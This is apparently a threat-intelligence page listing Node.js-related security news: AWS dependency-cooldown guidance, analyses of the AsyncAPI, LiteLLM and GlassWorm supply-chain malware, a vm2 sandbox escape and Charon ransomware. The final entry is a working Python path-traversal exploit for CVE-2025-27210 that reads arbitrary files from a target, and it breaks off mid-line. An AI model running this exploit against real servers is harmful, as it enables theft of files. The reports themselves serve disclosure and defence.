Search/nodejs
Vendor

nodejs

Known CVEs
0
Highest CVSS
In KEV
0
Vendor
nodejs
Connections
13 relationships
Secure your npm and pip package updates in Amazon Linux
Secure your npm and pip package updates in Amazon Linux If you use and install packages from npm or PyPI, the first hours after a package is published are the riskiest because scanners can’t analyze packages before publication. Recent supply chain events affecting NodeJS and Python packages have been detected and removed within hours. However, while those packages were available to the general public, it’s possible that they were installed by users, creating the potential for a security incident. As you will see from the data that follows, if users had waited 1 day before accessing those packages, none of the recent supply chain security events would have had an impact. In this post, I show you a one-line configuration that you can use to eliminate this exposure in your environment: a dependency cooldown for npm and pip. This change tells your package manager to skip versions published in the last 24 hours, giving the security community time to detect and remove unexpected packages before they reach your systems. These settings secure the default setup. There’s another use case of package updates: receiving security fixes to address security risks. This process involves updating packages to a more recent version. I also show you how to override the cooldown configuration so you can install the latest security patches while newly installed package updates are delayed. We recommend that you assess the severity of code defects and apply security fixes if there’s known risk. Handling security fixes based on their severity—and how to specify SLAs for these fixes based on severity—is beyond the scope of this blog post. Background: Two risks pull in opposite directions Software delivered by Amazon Linux packages go through review by Amazon package maintainers and pass guardrails before release. Open source software is developed and maintained with similar processes and guardrails. The npm and PyPI registries have open publishing access and don’t enforce reviews. Unexpected packages are potentially added to the registries because of risks like impersonation or stolen credentials. You’re caught between two risks: older software accumulates unpatched vulnerabilities, while new packages potentially contain unexpected vulnerabilities that haven’t been detected yet. The best approach is to stay current without adopting the newest releases immediately, while applying recommended security fixes. The following diagram illustrates the relation between the two types of risks in an abstract way, where the supply chain risk is highest immediately after a package is published, because unexpected updates can potentially bypass guardrails. After a package is published, auditing can review it and identify potential defects over time. If no security fixes are applied, the risk of all the code defects adds up. The problem: The first day presents the highest risk Supply chain events follow a consistent pattern. An unexpected author publishes an unexpected package or package version and waits for automated systems and users to pull it in. Security researchers and automated scanners typically detect and remove these packages within hours, but by then, systems have been exposed to the risk. Datadog’s 2026 State of DevSecOps report found that 54% of JavaScript applications install at least one dependency within a day of its release. That’s the time window that presents the highest supply chain risk. Recent events show how fast detection happens: The solution: Skip packages published today A dependency cooldown tells your package manager to skip recently published versions. If a version hasn’t existed on the registry for the configured timespan, for example, 1 day, it won’t be installed, giving the security community time to detect and remove unexpected versions. A 1-day cooldown blocks each event listed in the preceding table. Notably, several of these events produced valid provenance attestations and passed build verification. These provenance checks alone didn’t stop them. A cooldown works independently of authorization mechanisms, because it blocks by age rather than by trust. Both npm (v11.10.0+) and pip (v26.1+) support cooldowns . Amazon Linux 2023 ships these packages in NodeJS 24 and Python 3.14 since release 2023.11.20260608. If you use lockfile-based installations through npm ci or pip install -r requirements.txt with pinned versions, you won’t pull latest package updates. The cooldown doesn’t apply to those installations. The cooldown only affects resolution of new or updated packages. See the Lockfile-based installs and the cooldown section for details. Prerequisites To implement the following solution, you first need to have the following prerequisites in place: Node.js 24 with npm 11.10.0 or later (in nodejs24-24.14.1-1.amzn2023.0.1 or later). Python 3.14 with pip 26.1 (in python3.14-pip-26.1.1-1.amzn2023.0.1 or later) pip-audit (tool to scan python packages required for defect-based override scripts). Use python3.14 -m pip install pip-audit to install. Future versions of Node.js and Python will bring new commands. The following tool commands work for Amazon Linux 2023 with Node.js 24 and Python 3.14. The provided commands target specific package versions. Adjust the commands if you use later releases. To set up the npm cooldown Create the global configuration directory, depending on your NodeJS version.sudo mkdir -p /usr/lib/nodejs24/etc Add the npm configuration file with the cooldown setting.sudo npm-24 config set min-release-age 1 --location=global Check that the cooldown is active by running the next command.npm-24 config list You will see before = " " in the output, confirming npm converted the 1-day cooldown into a date filter. For more information, see the npm min-release-age documentation. To set up the pip cooldown Create the system-wide pip configuration file with the cooldown setting.sudo python3.14 -m pip config set --global global.uploaded-prior-to P1D Verify the configuration (for Python 3.14 and pip 26.1+).python3.14 -m pip config list You will see global.uploaded-prior-to='P1D' in the output. This configuration is safe to deploy immediately, because older pip versions (25.x) silently ignore the setting. To install a package’s latest version without cooldown What if you want to install the latest version of a package, for example to receive security fixes? The following sections describe how to override the flag using the tool command line. To identify which packages need urgent updates, run the appropriate audit command for your package manager. npm auditor python3.14 -m pip_audit For npm packages Install the package with the cooldown override.npm-24 install --min-release-age=0 For pip packages Install the package with the cooldown override.python3.14 -m pip install --uploaded-prior-to="P0D" Update packages that need urgent updates We recommend that you apply security fixes for packages that have known security risks. You don’t need to turn off the cooldown entirely to apply security fixes. Use the audit tools to identify packages with known issues, then override the cooldown for only these packages. Prerequisites: Ensure you have Python 3 and pip-audit installed (python3.14 -m pip install pip-audit). Important: These scripts demonstrate the concept. For production use, add error handling, logging, and testing. Review packages before updating them in automated pipelines. For npm packages The following script demonstrates the required steps to identify npm packages with a known security fix. The npm audit command prints these packages as JSON. Next, packages in this list are updated with an npm install command, where their cooldown is overridden so that the latest version is picked up. For pip packages The following script demonstrates the required steps to identify pip packages with a known security fix. The pip_audit command prints these packages as JSON. Next, all packages in this list are updated with an pip install command that overrides the cooldown so that the latest version can be picked up. Lockfile-based installs and the cooldown If you use npm ci or pip install -r requirements.txt with pinned versions, the cooldown doesn’t apply. These commands install what the lockfile specifies, regardless of package age. The cooldown only affects resolution of new or updated packages. Industry adoption: Cooldowns are now used across PyPI and NodeJS Major package managers and enterprises have started to adopt dependency cooldowns. As of May 2026, several popular package management tools now include cooldown features: pnpm (a fast Node.js package manager), Renovate (an automated dependency update tool), and StepSecurity (a supply chain security platform). pnpm 11 ships with minimumReleaseAge enabled by default. It’s one of the first major package manager to make cooldowns opt-out rather than opt-in. Renovate’s config best-practices preset has included a 3-day npm cooldown since 2025 and is widely adopted across enterprises. StepSecurity Secure Registry uses a configurable cooldown period for enterprise customers. StepSecurity recommends a 10 day delay as default. How AWS is helping protect the open source supply chain AWS scans upstream package registries to catch unexpected packages before they reach customers. Amazon Inspector, a security management service that continuously scans workloads for software vulnerabilities and network exposure, uses AI-assisted detection rules to scan upstream package registries. In 2025, Amazon Inspector researchers identified over 150,000 unexpected npm packages linked to a token farming campaign. AWS Security published detailed response guidance for the Shai-Hulud worm and the axios event. AWS contributes to the Open Source Security Foundation $12.5M grant for open source security, funding proactive scanning infrastructure that benefits the entire ecosystem. Unexpected packages are typically caught within hours of publication. A 1-day cooldown ensures you don’t install them during that detection window. Recommendations To secure your Amazon Linux 2023 configuration: Set a 1-day cooldown for npm and pip as shown in the preceding sections. External registries don’t have human review, so give the defenders time to catch problems. Override when needed for urgent security patches using the per-command flags. Run npm audit or pip_audit regularly to identify packages that need immediate attention. Set up the cooldown with one line of configuration, and the protection is immediate. Conclusion By implementing the solutions presented in the post, you secure your npm and PyPI environment from most instances of unexpected code. The update delay of 1 day protects your environment, while still allowing to apply the latest security fixes. To learn about how to protect your environment further, see the following resources: If you have feedback about this post, submit comments in the Comments section below.
aws.amazon.comJul 29, 2026extracted
AsyncAPI npm packages infected with credential-stealing malware
Five malicious versions of AsyncAPI packages were published to the Node Package Manager (npm) in a supply-chain attack that delivered a remote access trojan with info-stealing capabilities. The threat actor exploited a misconfigured GitHub Actions workflow and pushed trojanized packages in the @asyncapi namespace that had a cummulative weekly download count of more than 2.25 million. Multiple security companies confirmed that on July 14, an attacker compromised two AsyncAPI GitHub repositories and injected malware into project files. “Both attacks are CI/CD pipeline compromises, not stolen npm tokens or malicious maintainers,” reads a report from Step Security. The researchers explain that "the attacker pushed commits under a placeholder git identity and let each repository's real release workflow do the publishing via npm's GitHub OIDC trusted-publisher integration." In doing so, the attacker ensured that the resulting packages had the legitimate SLSA provenance attestations, indicating that they originated from an authorized workflow. The malicious AsyncAPI packages pushed to npm are: @asyncapi/generator 3.3.1 (101k weekly downloads) @asyncapi/generator-helpers 1.1.1 (43k weekly downloads) @asyncapi/generator-components 0.7.1 (34k weekly downloads) @asyncapi/specs 6.11.2-alpha.1 and 6.11.2 (2.1 million weekly downloads) Application security company Socket notes that the first-stage implant in the published packages is an obfuscated JavaScript statement that ultimately triggers a downloader when the infected file is imported. A second-stage script, which contains configuration details and the main runtime, is retrieved from the IPFS peer-to-peer content delivery network and launched as a hidden process. Cloud and application security company Wiz says that the third-stage payload "is a 92,000-line malware framework with modular architecture," which establishes persistence on the system and communicates with the command-and-control (C2) server over several channels: HTTP, Nostr relays, Ethereum smart contracts, and a libp2p mesh network. Although the final payload uses artifact names and configuration files pointing to the Miasma backdoor seen in past supply-chain attacks [1, 2], SafeDep researchers believe that the malware is "either a private, parallel build by the same operators or a separate group that adopted the Miasma brand after the source was published." Its purpose appears to be stealing secrets, which include credentials, authentication keys, tokens, browser data, sensitive info from CI/CD systems and AI developer tools, cryptocurrency wallets, and databases. Additionally, the malware code allows it to download the Gitleaks and HackBrowserData tools to help with collecting sensitive info. However, a report from cybersecurity company Aikido notes that all these functions do not work and the data harvesting tool exits before collecting anything. Nevertheless, the researchers say that all this can be achieved manually using the shell. Ox Security also noted that the malware performs a local check for Russia, and if there’s a match, it terminates its process. As of writing, all five versions of the four malicious packages have been removed from npm, but developers should note that existing installations and lock files created during the exposure window may still contain the malicious releases. The exposure window extends to approximately four hours and seven minutes, between 07:10 and 11:18 UTC on July 14. The recommended action is to pin to known-good files, regenerate lock files, remove the hidden ‘NodeJS/sync.js’ payload, terminate all malicious processes, and rotate credentials on the impacted systems. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comJul 15, 2026extracted
An AI gateway designed to steal your data
A significant proportion of cyberincidents are linked to supply chain attacks, and this proportion is constantly growing. Over the past year, we have seen a wide variety of methods used in such attacks, ranging from creation of malicious but seemingly legitimate open-source libraries or delayed attacks in such seemingly legitimate libraries, to the simplest yet most effective method: compromising the accounts of popular library owners to subsequently release malicious versions of their libraries. Such libraries are used by developers everywhere and are included in many solutions and services. The consequences of an attack can vary widely, ranging from delivering malware to a developer’s device to compromising an entire infrastructure if the malicious library has made its way into the code of a service or product. This is exactly what happened in March 2026, when attackers injected malicious code into the popular Python library LiteLLM, which serves as a multifunctional gateway for a large set of AI agents. The attackers released two trojanized versions of LiteLLM that delivered malicious scripts to the victim’s system. Both versions made their way into the PyPI repository for Python. A technical analysis revealed that the attackers’ primary targets were servers storing confidential data related to AWS, Kubernetes, NPM, etc., as well as various databases (MySQL, PostgreSQL, MongoDB, etc.). In the latter case, the attackers were primarily interested in database configurations. In addition, the malware’s logic included functionality for stealing confidential data from crypto wallets and techniques for establishing a foothold in the Kubernetes cluster. Repository compromise The compromise affected the package distribution channel via PyPI: on March 24, 2026, malicious LiteLLM versions litellm==1.82.7 and litellm==1.82.8 were uploaded to the registry. It was specifically the package’s distribution contents that were compromised: in version 1.82.7, the malicious code was embedded in proxy_server.py, and in 1.82.8, the file litellm_init.pth was added. Technical analysis Both versions of the library contained the same malicious code, but its execution was implemented differently. In version 1.82.7, it was executed only when the proxy functionality was imported, while in 1.82.8, a .pth file was added that was able to execute the code every time the interpreter started. The malicious code in the proxy_server.py and litellm_init.pth files contained Python code encoded in Base64. After execution, the infected script saved this code alongside itself as a p.py file and immediately executed it. The p.py script launched the main payload – another script, also encoded in Base64 – without saving it to disk. At the same time, it wrote the output of this payload to a file in the directory from which it was launched. Before being written, the output was encrypted using the AES-256-CBC algorithm with a random key generated in the code, which was saved to the session.key file. The key file was also encrypted – using a pre-initialized public RSA key. The encrypted key and the output were combined into a tpcp.tar.gz archive and sent to the attackers’ remote server. What exactly happened within the malicious payload whose output was sent to the C2 server? After it was launched, a recursive scan of the working directories on the victim’s system (/root, /app/, /var/www, etc.) began. In each directory, the script scanned the contents of files, which it output to the stdout buffer, from where it was then saved to the aforementioned file as the result. Next, the script collected system information and also saved it to the file. After that, it proceeded to search for sensitive data. It was interested in the following data located on servers and within the infrastructures of various services: SSH keys GIT accounts .env files AWS, Kubernetes, email service, database, and WireGuard configurations files related to Helm, Terraform, and CI TLS keys and certificates A notable feature of this malware is that it does not limit itself to stealing files and configurations from the disk but also attempts to extract runtime secrets from the cloud infrastructure. The code above uses the addresses 169.254.169.254 and 169.254.170.2. The first corresponds to the AWS Instance Metadata Service (IMDS), through which an EC2 instance (a virtual server in AWS, a machine running in the cloud) can retrieve metadata and temporary IAM role credentials (an AWS account with a set of permissions that a service or application can use to obtain temporary credentials for calls to the AWS API). The second is used in Amazon ECS to issue temporary credentials to a container during execution. Thus, the malicious script targets not only static secrets but also those issued by the cloud that can grant direct access to AWS resources at the time of infection. Additionally, the script searches for crypto wallet configurations, as well as webhooks associated with Slack and Discord messengers. The latter indicates that the attackers are interested not only in infrastructure secrets and accounts, but also in communication channels within the development team. In the next stage, the malware moves from data collection to establishing a foothold in the Kubernetes cluster infrastructure: if it has sufficient access, it configures a privileged pod (the smallest execution unit in Kubernetes, containing one or more containers) by enabling the securityContext.privileged=true option and mounts the node’s root filesystem via hostPath. This allows it to escape the container and perform actions at the node level. Next, the malware executes another stage of infection: it saves a Base64-encoded script disguised as a legitimate system component to the Kubernetes node’s disk at the path /root/.config/sysmon/sysmon.py, and registers it via systemd. After launching, the script waits for an initial delay of 300 seconds, then begins periodically contacting the C2 node checkmarx[.]zone/raw, retrieving a link to the next payload from there. If the received value differs from the state previously saved in /tmp/.pg_state, the script downloads a new file to /tmp/pglog, makes it executable, and runs it in the background. At this stage, the attackers gain a foothold in the system and are capable of regularly delivering updated payloads without the need for re-injection. Since the malicious payload is written not to the container’s temporary file directory but directly to the Kubernetes cluster node, the attackers will retain access to the infrastructure even after the container has terminated. A similar scenario is used for local persistence: in the absence of Kubernetes, the sysmon.py script is deployed in the user’s directory at ~/.config/sysmon/sysmon.py and is also registered as a service via systemd. OpenVSX version of the malware While analyzing files communicating with the C2 server, we discovered malicious versions of two common Checkmarx software extensions: ast-results 2.53.0 and cx-dev-assist 1.7.0. Checkmarx is used for application security assessment. These trojanized extensions contained malicious code that delivered the NodeJS version of the malware described above. This version is downloaded from checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz using NodeJS package installation utilities and is named checkmarx-util. Its key difference from the Python version is that it does not attempt to elevate privileges to the Kubernetes node level and does not create a privileged pod for persistence. Instead, it implements local persistence within the current environment. This means that the NodeJS variant persists only where it is already running. Additionally, the list of folders to search for and steal secrets from is significantly smaller in this version than in the Python variant. Checkmarx extensions are used to scan code and infrastructure configurations, so their compromise is quite dangerous: an attacker gains access not only to project files but also to a significant portion of the development environment, tokens, and local configurations. Victimology While assessing the attack’s impact, we saw victims all over the world. Most infection attempts occurred in Russia, China, Brazil, the Netherlands, and UAE. Conclusion As the technical analysis shows, the malicious scripts found in the LiteLLM versions are dangerous not only because they steal files containing sensitive data, but also because they target multiple critical infrastructure components simultaneously: the local system, cloud runtime secrets, the Kubernetes cluster, and even cryptographic keys. Such a broad scope of data collection allows an attacker to quickly move from compromising a single system and Python environment to seizing service accounts, secrets, and entire infrastructures. Prevention and protection To protect against infections of this kind, we recommend using a specialized solution for monitoring open-source components. Kaspersky provides real-time data feeds on compromised packages and libraries, which can be used to secure the supply chain and protect development projects from such threats. Home security solutions, such as Kaspersky Premium, help ensure the security of personal devices by providing multi-layered protection that prevents and neutralizes infection threats. Additionally, our solution can restore the device’s functionality in the event of a malware infection. To protect corporate devices, we recommend using a complex solution such as Kaspersky NEXT, which allows you to build a flexible and effective security system. The products in this line provide threat visibility and real-time protection, as well as EDR and XDR capabilities for threat investigation and response. At the time of writing, the compromised versions of LiteLLM had already been removed from PyPI and OpenVSX. If you have used them, and as a proactive response to the threat, we recommend taking the following measures on your systems and infrastructure: Perform a full system scan using a reliable security solution. Rotate all potentially compromised credentials: API keys, environment variables, SSH keys, Kubernetes service account tokens, and other secrets. Check hosts and clusters for signs of compromise: the presence of ~/.config/sysmon/sysmon.py files and suspicious pods in Kubernetes. Clear the cache and conduct an inventory of PyPI modules: check for malicious ones and roll back to clean versions. Check for indicators of compromise (files on the system or network signs). Indicators of Compromise: URLs models[.]litellm[.]cloud checkmarx[.]zone Infected packages 85ED77A21B88CAE721F369FA6B7BBBA3 2E3A4412A7A487B32C5715167C755D08 0FCCC8E3A03896F45726203074AE225D Scripts F5560871F6002982A6A2CC0B3EE739F7 CDE4951BEE7E28AC8A29D33D34A41AE5 05BACBE163EF0393C2416CBD05E45E74
securelist.comMar 26, 2026extracted
GlassWorm Attack Uses Stolen GitHub Tokens to Force-Push Malware Into Python Repos
The GlassWorm malware campaign is being used to fuel an ongoing attack that leverages the stolen GitHub tokens to inject malware into hundreds of Python repositories. "The attack targets Python projects — including Django apps, ML research code, Streamlit dashboards, and PyPI packages — by appending obfuscated code to files like setup.py, main.py, and app.py," StepSecurity said. "Anyone who runs pip install from a compromised repo or clones and executes the code will trigger the malware." According to the software supply chain security company, the earliest injections date back to March 8, 2026. The attackers, upon gaining access to the developer accounts, rebasing the latest legitimate commits on the default branch of the targeted repositories with malicious code, and then force-pushing the changes, while keeping the original commit's message, author, and author date intact. This new offshoot of the GlassWorm campaign has been codenamed ForceMemo. The attack plays out via the following four steps - Compromise developer systems with GlassWorm malware through malicious VS Code and Cursor extensions. The malware contains a dedicated component to steal secrets, such as GitHub tokens. Use the stolen credentials to force-push malicious changes to every repository managed by the breached GitHub account by rebasing obfuscated malware to Python files named "setup.py," "main.py," or "app.py." The Base64-encoded payload, appended to the end of the Python file, features GlassWorm-like checks to determine if the system has its locale set to Russian. If so, it skips execution. In all other cases, the malware queries the transaction memo field associated with a Solana wallet ("BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC") previously linked to GlassWorm to extract the payload URL. Download additional payloads from the server, including encrypted JavaScript that's designed to steal cryptocurrency and data. "The earliest transaction on the C2 address dates to November 27, 2025 -- over three months before the first GitHub repo injections on March 8, 2026," StepSecurity said. "The address has 50 transactions total, with the attacker regularly updating the payload URL, sometimes multiple times per day." The disclosure comes as Socket flagged a new iteration of the GlassWorm that technically retains the same core tradecraft while improving survivability and evasion by leveraging extensionPack and extensionDependencies to deliver the malicious payload by means of a transitive distribution model. In tandem, Aikido Security also attributed the GlassWorm author to a mass campaign that compromised more than 151 GitHub repositories with malicious code concealed using invisible Unicode characters. Interestingly, the decoded payload is configured to fetch the C2 instructions from the same Solana wallet, indicating that the threat actor has been targeting GitHub repositories in multiple waves. The use of different delivery methods and code obfuscation methods, but the same Solana infrastructure, suggests ForceMemo is a new delivery vector maintained and operated by the GlassWorm threat actor, who has now expanded from compromising VS Code extensions to a broader GitHub account takeover. "The attacker injects malware by force-pushing to the default branch of compromised repositories," StepSecurity noted. "This technique rewrites git history, preserves the original commit message and author, and leaves no pull request or commit trail in GitHub's UI. No other documented supply chain campaign uses this injection method." Update Two React Native npm packages – react-native-international-phone-number and react-native-country-select – maintained by npm user "astroonauta" were briefly compromised to directly push malicious versions to the registry without a corresponding GitHub release. The activity is assessed to be part of the ForceMemo campaign. react-native-international-phone-number - 0.11.8 react-native-country-select - 0.3.91 The rogue versions, detected on March 16, 2026, have been found to contain a preinstall hook that invokes obfuscated JavaScript to initiate a series of actions: skip Russian victims by inspecting environment variables and operating system time zone, reaches out to a hard-coded Solana wallet ("6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ") – also linked to GlassWorm – to extract the payload URL and deliver platform-specific malware. "The decrypted payload is executed entirely in memory, never written to disk, via eval() on macOS/Linux or a Node.js vm.Script sandbox on other platforms," StepSecurity said. "A persistence lock is written to ~/init.json with the current timestamp; the malware will not re-execute within a 48-hour window on the same machine." In a follow-up analysis, OpenSourceMalware said more than 433 projects and packages have been affected across GitHub Python repositories, GitHub JavaScript repositories, VS Code extensions, and npm libraries. All these attacks lead to the execution of the same final payload, an information stealer written in JavaScript. GlassWorm Goes After Windsurf Users In what appears to be a further broadening of the GlassWorm campaign, Bitdefender said it detected a malicious extension named "reditorsupporter.r-vscode-2.8.8-universal" targeting the Windsurf IDE that deploys a JavaScript stealer based on Node.js by leveraging the Solana blockchain as a dead drop resolver. "The extension, disguised as an R language support extension for Visual Studio Code, retrieves encrypted JavaScript from blockchain transactions, executes it using NodeJS runtime primitives, drops compiled add-ons to extract Chromium data, all the while establishing persistence with the help of a hidden PowerShell scheduled task," Bitdefender said. Once installed, the extension specifically excludes Russian systems and targets developer environments for information theft. The malware is equipped to steal sensitive data from Chromium-based web browsers, establish persistence using scheduled tasks, and automatically run after system startup by configuring a Windows Registry Run key. In a statement shared with The Hacker News, Bitdefender said the newly identified extension is using the "same tactics" as those employed by the threat actors behind GlassWorm. The Romanian cybersecurity company also noted that the piece of code that's used to check if the system has a Russian locale is similar to what's present in "dark-code-studio.flutter-extension," one of the 72 extensions that was flagged by Socket last week as part of a new GlassWorm campaign. Sleeper Extensions Fetch GitHub-Hosted VSIX Malware Socket has since detected over 20 additional malicious extensions, along with about 20 related sleeper extensions as part of the same campaign, underscoring the threat actors' continued efforts to refine their modus operandi. Analysis shows that two of the sleeper extensions ("lauracode.wrap-selected-code" and "96-studio.json-formatter") were published on March 12, 2026, without any malicious functionality, but were updated six days later with a loader component that runs on extension load, enumerates locally installed IDEs, and retrieves a follow-on VSIX file from a hard-coded GitHub release path. The downloaded VSIX file ("autoimport-smart-tool-2.5.8.vsix") is a trojanized clone of the popular Auto Import extension, which is designed to perform a Russian geofence check, establish persistence, and parse a transaction on the Solana blockchain to extract a URL. The URL is used to fetch the next-stage payload based on the operating system and execute it. "This is a significant evasion upgrade: it does not depend on any Open VSX-hosted dependency," Socket researchers Philipp Burckhardt and Peter van der Zee said. "Instead, the malicious payload lives on GitHub infrastructure. This is the first time in the GlassWorm campaign that the payload has been delivered from outside the Open VSX registry, moving the malicious binary out of reach of the Eclipse Foundation's takedown process." (The story was updated after publication to include additional details of the campaign.)
thehackernews.comMar 16, 2026extracted
Critical sandbox escape flaw found in popular vm2 NodeJS library
A critical-severity vulnerability in the vm2 Node.js sandbox library, tracked as CVE-2026-22709, allows escaping the sandbox and executing arbitrary code on the underlying host system. The open-source vm2 library creates a secure context to allow users to execute untrusted JavaScript code that does not have access to the filesystem. vm2 has historically been seen in SaaS platforms that support user script execution, online code runners, chatbots, and open-source projects, being used in more than 200,000 projects on GitHub. The project was discontinued in 2023, though, due to repeated sandbox-escape vulnerabilities, and considered unsafe for running untrusted code. Last October, maintainer Patrik Šimek decided to resurrect the vm2 project and release version 3.10.0 that addressed all vulnerabilities known at the time and "still compatible all the way back to Node 6." The library continues to be very popular on the npm platform, constantly reaching around one million downloads every week for the past year. Improper sanitization The latest vulnerability arises from vm2’s failure to properly sandbox ‘Promises’, the component that handles asynchronous operations to make sure code execution is restricted to the context of the isolated environment. While vm2 sanitizes callbacks attached to its own internal Promise implementation, async functions return a global Promise whose .then() and.catch() callbacks are not properly sanitized. "In vm2 for version 3.10.0, Promise.prototype.then Promise.prototype.catch callback sanitization can be bypassed," the project maintainer says, adding that "this allows attackers to escape the sandbox and run arbitrary code." According to the developer, the CVE-2026-22709 sandbox escape was partially addressed in vm2 version 3.10.1, while in the subsequent 3.10.2 update the developer tightened the fix to avoid a potential bypass. The developer also shared code demonstrating how CVE-2026-22709 could be triggered in the vm2 sandbox to escape it and execute a command on the host system. Given that CVE-2026-22709 is trivial to exploit in vulnerable vm2 versions, users are recommended to upgrade to the latest release as soon as possible. Previously reported critical sandbox escape flaws in vm2 include CVE-2022-36067, disclosed by researchers at Oxeye. Exploiting the bug allowed escaping the isolated environment and running commands on the host system. In April 2023, a similar flaw, tracked as CVE-2023-29017, was discovered, and an exploit was published. Later that same month, researcher SeungHyun Lee released an exploit for CVE-2023-30547, yet another critical sandbox escape impacting vm2. Šimek told BleepingComputer that "all disclosed vulnerabilities are properly fixed" in vm2 version 3.10.3, currently the most recent release. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comJan 27, 2026extracted
Charon Ransomware Hits Middle East Sectors Using APT-Level Evasion Tactics
Cybersecurity researchers have discovered a new campaign that employs a previously undocumented ransomware family called Charon to target the Middle East's public sector and aviation industry. The threat actor behind the activity, according to Trend Micro, exhibited tactics mirroring those of advanced persistent threat (APT) groups, such as DLL side-loading, process injection, and the ability to evade endpoint detection and response (EDR) software. The DLL side-loading techniques resemble those previously documented as part of attacks orchestrated by a China-linked hacking group called Earth Baxia, which was flagged by the cybersecurity company as targeting government entities in Taiwan and the Asia-Pacific region to deliver a backdoor known as EAGLEDOOR following the exploitation of a now-patched security flaw affecting OSGeo GeoServer GeoTools. "The attack chain leveraged a legitimate browser-related file, Edge.exe (originally named cookie_exporter.exe), to sideload a malicious msedge.dll (SWORDLDR), which subsequently deployed the Charon ransomware payload," researchers Jacob Santos, Ted Lee, Ahmed Kamal, and Don Ovid Ladore said. Like other ransomware binaries, Charon is capable of disruptive actions that terminate security-related services and running processes, as well as delete shadow copies and backups, thereby minimizing the chances of recovery. It also employs multithreading and partial encryption techniques to make the file-locking routine faster and more efficient. Another notable aspect of the ransomware is the use of a driver compiled from the open-source Dark-Kill project to disable EDR solutions by means of what's called a bring your own vulnerable driver (BYOVD) attack. However, this functionality is never triggered during the execution, suggesting that the feature is likely under development. There is evidence to suggest that the campaign was targeted rather than opportunistic. This stems from the use of a customized ransom note that specifically calls out the victim organization by name, a tactic not observed in traditional ransomware attacks. It's currently not known how the initial access was obtained. Despite the technical overlaps with Earth Baxia, Trend Micro has emphasized that this could mean one of three things - Direct involvement of Earth Baxia A false flag operation designed to deliberately imitate Earth Baxia's tradecraft, or A new threat actor that has independently developed similar tactics "Without corroborating evidence such as shared infrastructure or consistent targeting patterns, we assess this attack demonstrates limited but notable technical convergence with known Earth Baxia operations," Trend Micro pointed out. Regardless of the attribution, the findings exemplify the ongoing trend of ransomware operators increasingly adopting sophisticated methods for malware deployment and defense evasion, further blurring the lines between cybercrime and nation-state activity. "This convergence of APT tactics with ransomware operations poses an elevated risk to organizations, combining sophisticated evasion techniques with the immediate business impact of ransomware encryption," the researchers concluded. The disclosure comes as eSentire detailed an Interlock ransomware campaign that leveraged ClickFix lures to drop a PHP-based backdoor that, in turn, deploys NodeSnake (aka Interlock RAT) for credential theft and a C-based implant that supports attacker-supplied commands for further reconnaissance and ransomware deployment. "Interlock Group employs a complex multi-stage process involving PowerShell scripts, PHP/NodeJS/C backdoors, highlighting the importance of monitoring suspicious process activity, LOLBins, and other TTPs," the Canadian company said. The findings show that ransomware continues to be an evolving threat, even as victims continue to pay ransoms to quickly recover access to systems. Cybercriminals, on the other hand, have begun resorting to physical threats and DDoS attacks as a way of putting pressure on victims. Statistics shared by Barracuda show that 57% of organizations experienced a successful ransomware attack in the last 12 months, of which 71% that had experienced an email breach were also hit with ransomware. What's more, 32% paid a ransom, but only 41% of the victims got all their data back.
thehackernews.comAug 13, 2025extracted
[remote] NodeJS 24.x - Path Traversal
Exploit Title : NodeJS 24.x - Path Traversal Exploit Author : Abdualhadi khalifa CVE : CVE-2025-27210 import argparse import requests import urllib.parse import json import sys def exploit_path_traversal_precise(target_url: str, target_file: str, method: str) -> dict: traverse_sequence = "..\\" * 6 normalized_target_file = target_file.replace("C:", "").lstrip("\\/") malicious_path = f"{traverse_sequence}AUX\\..\\{normalized_target_file}" encoded_malicious_path = urllib.parse.quote(malicious_path, safe='') full_url = f"{target_url}/{encoded_malicious_path}" response_data = { "target_url": target_url, "target_file_attempted": target_file, "malicious_path_sent_raw": malicious_path, "malicious_path_sent_encoded": encoded_malicious_path, "full_request_url": full_url, "http_method": method, "success": False, "response_status_code": None, "response_content_length": None, "extracted_content": None, "error_message": None } try: print(f"[*] Preparing precise Path Traversal exploit...") print(f"[*] Malicious Path (Encoded): {encoded_malicious_path}") print(f"[*] Request URL: {full_url}") if method.upper() == 'GET': response = requests.get(full_url, timeout=15) elif method.upper() == 'POST': response = requests.post(f"{target_url}", params={'filename': encoded_malicious_path}, timeout=15) else: raise ValueError("Unsupported HTTP method. Use 'GET' or 'POST'.") response_data["response_status_code"] = response.status_code response_data["response_content_length"] = len(response.content) if response.status_code == 200: content = response.text response_data["extracted_content"] = content if target_file.lower().endswith("win.ini") and "[windows]" in content.lower(): response_data["success"] = True elif len(content) > 0: # For any other file, just check for non-empty content. response_data["success"] = True else: response_data["error_message"] = "Received 200 OK, but content is empty or unexpected." else: response_data["error_message"] = f"Server responded with non-200 status code: {response.status_code}" except requests.exceptions.Timeout: response_data["error_message"] = "Request timed out. Server might be slow or unresponsive." except requests.exceptions.ConnectionError: response_data["error_message"] = "Connection failed to target. Ensure the Node.js application is running and accessible." except ValueError as ve: response_data["error_message"] = str(ve) except Exception as e: response_data["error_message"] = f"An unexpected error occurred: {str(e)}" return response_data def main(): parser = argparse.ArgumentParser( prog="CVE-2025-27210_NodeJS_Path_Traversal_Exploiter.py", description=""" Proof of Concept (PoC) for a precise Path Traversal vulnerability in Node.js on Windows (CVE-2025-27210). This script leverages how Node.js functions (like path.normalize() or path.join()) might mishandle reserved Windows device file names (e.g., CON, AUX) within Path Traversal sequences. """, formatter_class=argparse.RawTextHelpFormatter ) parser.add_argument( "-t", "--target", type=str, required=True, help="Base URL of the vulnerable Node.js application endpoint (e.g., http://localhost:3000/files)." ) parser.add_argument( "-f", "--file", type=str, default="C:\\Windows\\win.ini", help="""Absolute path to the target file on the Windows system. Examples: C:\\Windows\\win.ini, C:\\secret.txt, C:\\Users\\Public\\Documents\\important.docx """ ) parser.add_argument( "-m", "--method", type=str, choices=["GET", "POST"], default="GET", help="HTTP method for the request ('GET' or 'POST')." ) args = parser.parse_args() # --- CLI Output Formatting --- print("\n" + "="*70) print(" CVE-2025-27210 Node.js Path Traversal Exploit PoC") print("="*70) print(f"[*] Target URL: {args.target}") print(f"[*] Target File: {args.file}") print(f"[*] HTTP Method: 